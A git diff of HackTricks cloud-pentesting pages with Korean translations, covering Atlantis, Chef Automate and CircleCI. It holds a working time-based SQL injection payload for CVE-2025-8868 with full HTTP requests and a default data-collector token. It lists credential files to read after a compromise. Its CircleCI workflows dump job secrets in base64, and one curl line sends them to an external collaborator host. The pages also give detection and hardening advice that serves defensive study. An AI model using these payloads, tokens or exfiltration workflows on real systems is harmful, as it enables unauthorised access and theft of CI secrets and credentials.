If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
누군가 **`atlantis plan/apply`** 댓글을 유효한 풀 리퀘스트에 보내면, 원하지 않을 때 terraform이 실행됩니다.
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
게다가, **새 커밋이 푸시**될 때 **모든 PR를 재평가**하도록 **브랜치 보호**가 설정되어 있지 않다면, 누군가 **악의적인 구성**(이전 시나리오 확인)을 terraform 구성에 작성하고 `atlantis plan/apply`를 실행하여 RCE를 얻을 수 있습니다.
This is the **setting** in Github branch protections:
이것이 Github 브랜치 보호의 **설정**입니다:
![](<../images/image (216).png>)
#### Webhook Secret
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
**웹훅 비밀**을 **훔치거나** **웹훅 비밀**이 사용되지 않는 경우, **Atlantis 웹훅을 호출**하고 **atlatis 명령어를 직접 호출**할 수 있습니다.
#### Bitbucket
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
Bitbucket Cloud**웹훅 비밀**을 **지원하지 않습니다**. 이는 공격자가 **Bitbucket에서 요청을 스푸핑**할 수 있게 합니다. Bitbucket IP만 허용하고 있는지 확인하세요.
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
- 이는 **공격자**가 **Bitbucket에서 오는 것처럼 보이는 가짜 요청을 Atlantis에 보낼 수 있음을 의미합니다.**
- `--repo-allowlist`를 지정하는 경우, 그들은 해당 리포지토리에 관련된 요청만 가짜로 만들 수 있으므로 그들이 할 수 있는 가장 큰 피해는 자신의 리포지토리에서 plan/apply하는 것입니다.
- 이를 방지하기 위해 [Bitbucket IP 주소](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)를 허용 목록에 추가하세요 (아웃바운드 IPv4 주소 참조).
### Post-Exploitation
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
서버에 접근하거나 최소한 LFI를 얻었다면, 읽어봐야 할 몇 가지 흥미로운 것들이 있습니다:
- `/home/atlantis/.git-credentials` Contains vcs access credentials
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Env variables
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
- `/home/atlantis/.git-credentials` VCS 접근 자격 증명 포함
- `/atlantis-data/atlantis.db` 더 많은 정보와 함께 VCS 접근 자격 증명 포함
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform 상태 파일
- : /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` 환경 변수
- `/proc/[2-20]/cmdline` `atlantis server`의 명령줄 (민감한 데이터 포함 가능)
### Mitigations
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
누구나 공개 풀 리퀘스트에 댓글을 달 수 있기 때문에, 모든 보안 완화 조치가 있더라도 적절한 보안 설정 없이 공개 리포지토리에서 Atlantis를 실행하는 것은 여전히 위험합니다.
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
공개 리포지토리에서 실행하는 경우(추천하지 않음, 위 참조) `--allow-fork-prs`를 설정하지 않아야 합니다(기본값은 false) 왜냐하면 누구나 자신의 포크에서 귀하의 리포지토리로 풀 리퀘스트를 열 수 있기 때문입니다.
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
Atlantis`--repo-allowlist` 플래그를 통해 웹훅을 수락할 리포지토리의 허용 목록을 지정해야 합니다. 예를 들어:
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
- 특정 리포지토리: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- 전체 조직: `--repo-allowlist=github.com/runatlantis/*`
- GitHub Enterprise 설치의 모든 리포지토리: `--repo-allowlist=github.yourcompany.com/*`
- 모든 리포지토리: `--repo-allowlist=*`. 보호된 네트워크에 있을 때 유용하지만 웹훅 비밀을 설정하지 않으면 위험합니다.
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
이 플래그는 귀하의 Atlantis 설치가 귀하가 제어하지 않는 리포지토리와 함께 사용되지 않도록 보장합니다. 더 많은 세부정보는 `atlantis server --help`를 참조하세요.
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
공격자가 악의적인 Terraform 코드를 포함한 풀 리퀘스트를 제출하는 것이 위협 모델에 포함된다면, `terraform apply` 승인이 충분하지 않다는 것을 인식해야 합니다. [`external` 데이터 소스](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)를 사용하거나 악의적인 공급자를 지정하여 `terraform plan`에서 악의적인 코드를 실행할 수 있습니다. 이 코드는 귀하의 자격 증명을 유출할 수 있습니다.
To prevent this, you could:
이를 방지하기 위해 다음을 수행할 수 있습니다:
1. Bake providers into the Atlantis image or host and deny egress in production.
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
1. 공급자를 Atlantis 이미지에 포함시키거나 호스팅하고 프로덕션에서 이그레스를 거부합니다.
2. 공급자 레지스트리 프로토콜을 내부적으로 구현하고 공개 이그레스를 거부하여 레지스트리에 대한 쓰기 접근을 제어합니다.
3. [서버 측 리포지토리 구성](https://www.runatlantis.io/docs/server-side-repo-config.html) `plan` 단계를 수정하여 허용되지 않은 공급자 또는 데이터 소스 또는 허용되지 않은 사용자로부터의 PR 사용을 검증합니다. 이 시점에서 추가 검증을 추가할 수도 있습니다. 예를 들어, `plan`이 계속 진행되기 전에 PR에 "좋아요"가 필요하도록 요구할 수 있습니다. Conftest가 여기서 유용할 수 있습니다.
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
Atlantis `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` 환경 변수를 통해 설정된 웹훅 비밀로 실행되어야 합니다. `--repo-allowlist` 플래그가 설정되어 있더라도, 웹훅 비밀이 없으면 공격자가 허용 목록에 있는 리포지토리인 척 하여 Atlantis에 요청을 보낼 수 있습니다. 웹훅 비밀은 웹훅 요청이 실제로 귀하의 VCS 제공자(GitHub 또는 GitLab)에서 오는 것임을 보장합니다.
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
Azure DevOps를 사용하는 경우, 웹훅 비밀 대신 기본 사용자 이름과 비밀번호를 추가하세요.
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
Azure DevOps는 모든 웹훅 이벤트에서 기본 인증 헤더를 전송하는 것을 지원합니다. 이는 웹훅 위치에 HTTPS URL을 사용하는 것을 요구합니다.
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
웹훅 비밀을 사용하고 있지만 트래픽이 HTTP를 통해 전송되는 경우 웹훅 비밀이 도난당할 수 있습니다. `--ssl-cert-file` `--ssl-key-file` 플래그를 사용하여 SSL/HTTPS를 활성화하세요.
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
웹 서비스에서 인증을 활성화하는 것이 매우 권장됩니다. `--web-basic-auth=true`를 사용하여 BasicAuth를 활성화하고 `--web-username=yourUsername` `--web-password=yourPassword` 플래그를 사용하여 사용자 이름과 비밀번호를 설정하세요.
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
이들을 환경 변수로도 전달할 수 있습니다: `ATLANTIS_WEB_BASIC_AUTH=true`, `ATLANTIS_WEB_USERNAME=yourUsername`, `ATLANTIS_WEB_PASSWORD=yourPassword`.
### References
@@ -386,6 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,13 +1,13 @@
# Chef Automate Security
# Chef Automate 보안
{{#include ../../banners/hacktricks-training.md}}
## What is Chef Automate
## Chef Automate란 무엇인가
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
Chef Automate는 인프라 자동화, 컴플라이언스, 애플리케이션 배포를 위한 플랫폼입니다. 웹 UI(종종 Angular)를 통해 백엔드 gRPC 서비스와 gRPC-Gateway로 통신하며 /api/v0/와 같은 경로에 REST-like 엔드포인트를 제공합니다.
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
- 일반적인 백엔드 구성 요소: gRPC services, PostgreSQL (종종 pq: error 접두사로 확인 가능), data-collector ingest service
- 인증 메커니즘: user/API tokens data collector token 헤더 x-data-collector-token
## Enumeration & Attacks
@@ -15,4 +15,4 @@ Chef Automate is a platform for infrastructure automation, compliance, and appli
chef-automate-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,39 +2,39 @@
{{#include ../../banners/hacktricks-training.md}}
## Overview
## 개요
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
- Abusing the x-data-collector-token authentication header when defaults are present
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
이 페이지는 Chef Automate 인스턴스를 열거하고 공격하기 위한 실용적인 기법을 모아두었으며, 다음 항목에 중점을 둡니다:
- gRPC-Gateway-backed REST endpoints를 발견하고 validation/오류 응답을 통해 요청 스키마를 유추
- 기본값이 남아 있는 경우 x-data-collector-token 인증 헤더 남용
- Compliance API (CVE-2025-8868)에서 /api/v0/compliance/profiles/search의 filters[].type 필드에 영향을 주는 Time-based blind SQL injection
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
> 참고: grpc-metadata-content-type: application/grpc 헤더를 포함하는 백엔드 응답은 일반적으로 REST 호출을 gRPC 서비스로 브리지하는 gRPC-Gateway를 의미합니다.
## Recon: Architecture and Fingerprints
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
- Front-end: Often Angular. 정적 번들은 REST 경로(예: /api/v0/...)를 유추할 수 있습니다.
- API transport: REST to gRPC via gRPC-Gateway
- Responses may include grpc-metadata-content-type: application/grpc
- Responses may include grpc-metadata-content-type: application/grpc
- Database/driver fingerprints:
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
- Interesting Compliance endpoints (auth required):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
## Auth: Data Collector Token (x-data-collector-token)
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
Chef Automate는 전용 헤더로 요청을 인증하는 data collector를 노출합니다:
- Header: x-data-collector-token
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
- Risk: 일부 환경에서는 보호된 API 경로에 접근할 수 있는 기본 토큰이 남아 있을 수 있습니다. 실세계에서 관찰된 알려진 기본값:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
해당 토큰이 존재하면 인증이 필요한 Compliance API 엔드포인트를 호출하는 데 사용될 수 있습니다. 하드닝 시 기본값을 교체하거나 비활성화하도록 항상 시도하십시오.
## API Schema Inference via Error-Driven Discovery
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
gRPC-Gateway-backed endpoints often leak 유용한 검증 오류를 통해 예상되는 요청 모델을 드러냅니다.
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
@@ -42,41 +42,36 @@ For /api/v0/compliance/profiles/search, the backend expects a body with a filter
- values: array of strings
Example request shape:
```json
{
"filters": [
{ "type": "name", "values": ["test"] }
]
"filters": [
{ "type": "name", "values": ["test"] }
]
}
```
잘못된 JSON이나 잘못된 필드 타입은 일반적으로 힌트를 포함한 4xx/5xx 응답을 유발하며, 헤더는 gRPC-Gateway의 동작을 나타냅니다. 이를 사용해 필드를 매핑하고 인젝션 표면을 국지화하세요.
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
## 컴플라이언스 API SQL Injection (CVE-2025-8868)
## Compliance API SQL Injection (CVE-2025-8868)
- Affected endpoint: POST /api/v0/compliance/profiles/search
- 영향받는 엔드포인트: POST /api/v0/compliance/profiles/search
- Injection point: filters[].type
- Vulnerability class: time-based blind SQL injection in PostgreSQL
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
Working time-based payload:
- 취약성 분류: time-based blind SQL injection in PostgreSQL
- 근본 원인: dynamic SQL fragment에 type 필드를 보간할 때 적절한 parameterization/whitelisting이 없어 발생합니다(대개 identifiers/WHERE clauses를 구성하는 데 사용됨). type에 포함된 조작된 값이 PostgreSQL에서 평가됩니다.
동작하는 time-based payload:
```json
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Technique notes:
- Close the original string with a single quote
- Concatenate a subquery that calls pg_sleep(N)
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
- 원래 문자열을 single quote로 닫습니다
- pg_sleep(N)을 호출하는 subquery를 연결합니다
- ||을 통해 string context로 다시 진입하여 최종 SQL이 type이 삽입된 위치와 관계없이 문법적으로 유효하도록 합니다
### Proof via differential latency
### differential latency를 통한 검증
Send paired requests and compare response times to validate server-side execution:
paired requests를 보내고 response times를 비교하여 서버 측 실행을 검증합니다:
- N = 1 second
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
@@ -85,9 +80,7 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
```
- N = 5 seconds
- N = 5초
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
@@ -96,48 +89,47 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Observed behavior:
- Response times scale with pg_sleep(N)
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
> 팁: 타이밍 검증기(예: 통계 비교를 위한 다중 시도)를 사용하여 노이즈와 오탐을 줄이세요.
### Impact
### 영향
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automates PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
인증된 사용자 또는 기본 x-data-collector-token을 악용하는 인증되지 않은 행위자는 Chef Automate PostgreSQL 컨텍스트에서 임의의 SQL을 실행할 수 있으며, 이로 인해 컴플라이언스 프로파일, 구성 및 텔레메트리의 기밀성과 무결성이 위협받을 수 있습니다.
### Affected versions / Fix
### 영향을 받는 버전 / 수정
- CVE: CVE-2025-8868
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
- 업그레이드 권고: 벤더 권고에 따라 Chef Automate 4.13.295 이상 (Linux x86)
## Detection and Forensics
## 탐지 및 포렌식
- API layer:
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
- /api/v0/compliance/profiles/search에서 filters[].type에 따옴표('), 연결(||) 또는 pg_sleep 같은 함수 참조가 포함된 경우 500 응답을 모니터링하세요
- grpc-metadata-content-type 응답 헤더를 검사하여 gRPC-Gateway 흐름을 식별하세요
- Database layer (PostgreSQL):
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
- pg_sleep 호출과 잘못된 식별자 오류를 감사하세요(종종 Go pq 드라이버에서 오는 pq: 접두사로 표출됩니다)
- Authentication:
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
- 특히 알려진 기본값을 포함한 x-data-collector-token 사용을 API 경로 전반에서 로그 및 알림으로 기록하세요
## Mitigations and Hardening
## 완화 및 하드닝
- Immediate:
- Rotate/disable default data collector tokens
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
- Code-level:
- Parameterize queries; never string-concatenate SQL fragments
- Strictly whitelist allowed type values on the server (enum)
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
- 즉각적인 조치:
- 기본 data collector 토큰을 교체하거나 비활성화하세요
- data collector 엔드포인트로의 인그레스를 제한하고 강력하고 고유한 토큰을 적용하세요
- 코드 수준:
- 쿼리를 파라미터화하세요; SQL 조각을 문자열로 연결하지 마세요
- 서버에서 허용되는 type 값을 엄격히 화이트리스트화하세요 (enum)
- 식별자/절에 대한 동적 SQL 조립을 피하세요; 동적 동작이 필요하다면 안전한 식별자 인용과 명시적 화이트리스트를 사용하세요
## Practical Testing Checklist
## 실전 테스트 체크리스트
- Check if x-data-collector-token is accepted and whether the known default works
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
- x-data-collector-token이 수락되는지, 알려진 기본값이 동작하는지 확인하세요
- 검증 오류를 유발하고 오류 메시지/헤더를 읽어 Compliance API 요청 스키마를 매핑하세요
- 값 배열이나 최상위 텍스트 필드뿐만 아니라 덜 명백한 “식별자-유사” 필드(예: filters[].type)에서 SQLi를 테스트하세요
- 연결(concatenation)을 사용한 시간 기반 기법으로 문맥 전반에서 SQL이 구문상 유효하도록 유지하세요
## References
@@ -147,4 +139,4 @@ Authenticated users—or unauthenticated actors abusing a default x-data-collect
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,258 +1,235 @@
# CircleCI Security
# CircleCI 보안
{{#include ../banners/hacktricks-training.md}}
### Basic Information
### 기본 정보
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/)는 코드와 관련하여 원하는 작업과 수행 시점을 정의하는 **템플릿**을 설정할 수 있는 지속적 통합 플랫폼입니다. 이렇게 하면 예를 들어 **레포 마스터 브랜치**에서 직접 **테스트** 또는 **배포**를 **자동화**할 수 있습니다.
### Permissions
### 권한
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
**CircleCI**는 로그인하는 **계정**과 관련된 github bitbucket의 **권한을 상속**합니다.\
내 테스트에서 확인한 바에 따르면, **github의 레포에 대한 쓰기 권한**이 있는 한, **CircleCI에서 프로젝트 설정을 관리**할 수 있습니다(새 ssh 키 설정, 프로젝트 api 키 가져오기, 새로운 CircleCI 구성으로 새로운 브랜치 생성 등).
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
그러나 **레포를 CircleCI 프로젝트로 변환**하려면 **레포 관리자**여야 합니다.
### Env Variables & Secrets
### 환경 변수 및 비밀
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
[**문서**](https://circleci.com/docs/2.0/env-vars/)에 따르면, 워크플로우 내에서 **환경 변수에 값을 로드하는** 다양한 방법이 있습니다.
#### Built-in env variables
#### 내장 환경 변수
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
CircleCI에서 실행되는 모든 컨테이너는 항상 [**문서에 정의된 특정 환경 변수**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables)를 가지고 있으며, 예를 들어 `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` 또는 `CIRCLE_USERNAME`이 있습니다.
#### Clear text
You can declare them in clear text inside a **command**:
#### 일반 텍스트
**명령** 내에서 일반 텍스트로 선언할 수 있습니다:
```yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
```
You can declare them in clear text inside the **run environment**:
**실행 환경** 내에서 명확한 텍스트로 선언할 수 있습니다:
```yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
```
You can declare them in clear text inside the **build-job environment**:
**build-job 환경** 내에서 명확한 텍스트로 선언할 수 있습니다:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
You can declare them in clear text inside the **environment of a container**:
컨테이너의 **환경** 내에서 명확한 텍스트로 선언할 수 있습니다:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
#### 프로젝트 비밀
#### Project Secrets
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
이것은 **프로젝트**(모든 **브랜치**에서)만 **접근할 수 있는** **비밀**입니다.\
다음에서 **선언된** 내용을 확인할 수 있습니다: _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
![](<../images/image (129).png>)
> [!CAUTION]
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
> "**변수 가져오기**" 기능은 **다른 프로젝트에서 변수를 가져올 수** 있게 해줍니다.
#### Context Secrets
#### 컨텍스트 비밀
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
이것은 **조직 전체**에 해당하는 비밀입니다. 기본적으로 **모든 레포**가 여기 저장된 **모든 비밀**에 **접근할 수** 있습니다:
![](<../images/image (123).png>)
> [!TIP]
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
> 그러나, 특정 사람들에게만 비밀에 대한 접근을 허용하기 위해 **다른 그룹**(모든 구성원 대신)을 **선택할 수** 있습니다.\
> 이는 비밀의 **보안을 강화하는** 가장 좋은 방법 중 하나로, 모든 사람이 접근할 수 없도록 하고 일부 사람들만 접근할 수 있도록 합니다.
### Attacks
### 공격
#### Search Clear Text Secrets
#### 일반 텍스트 비밀 검색
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
**VCS**(예: github)**접근할 수** 있다면, **각 레포의 각 브랜치**에서 `.circleci/config.yml` 파일을 확인하고 **저장된 잠재적 일반 텍스트 비밀**을 **검색**하세요.
#### Secret Env Vars & Context enumeration
#### 비밀 환경 변수 및 컨텍스트 열거
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
코드를 확인하면 각 `.circleci/config.yml` 파일에서 **사용되는 모든 비밀 이름**을 찾을 수 있습니다. 또한 해당 파일에서 **컨텍스트 이름**을 가져오거나 웹 콘솔에서 확인할 수 있습니다: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
#### Exfiltrate Project secrets
#### 프로젝트 비밀 유출
> [!WARNING]
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
> **모든** 프로젝트 및 컨텍스트 **비밀**을 **유출**하려면 **전체 github 조직**에서 **단 1개의 레포**에 **쓰기** 권한만 있으면 됩니다 (_그리고 귀하의 계정은 컨텍스트에 접근할 수 있어야 하지만 기본적으로 모든 사람이 모든 컨텍스트에 접근할 수 있습니다_).
> [!CAUTION]
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
> "**변수 가져오기**" 기능은 **다른 프로젝트에서 변수를 가져올 수** 있게 해줍니다. 따라서 공격자는 **모든 레포에서 모든 프로젝트 변수를 가져온 다음** **모두 함께 유출**할 수 있습니다.
모든 프로젝트 비밀은 항상 작업의 env에 설정되므로, env를 호출하고 base64로 난독화하면 **워크플로우 웹 로그 콘솔**에서 비밀을 유출할 수 있습니다:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env
exfil-env-workflow:
jobs:
- exfil-env
```
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
웹 콘솔에 **접근할 수 없지만** **레포에 접근할 수** 있고 CircleCI가 사용된다는 것을 알고 있다면, **매 분마다 트리거되는 워크플로우**를 **생성하여 비밀을 외부 주소로 유출**할 수 있습니다:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
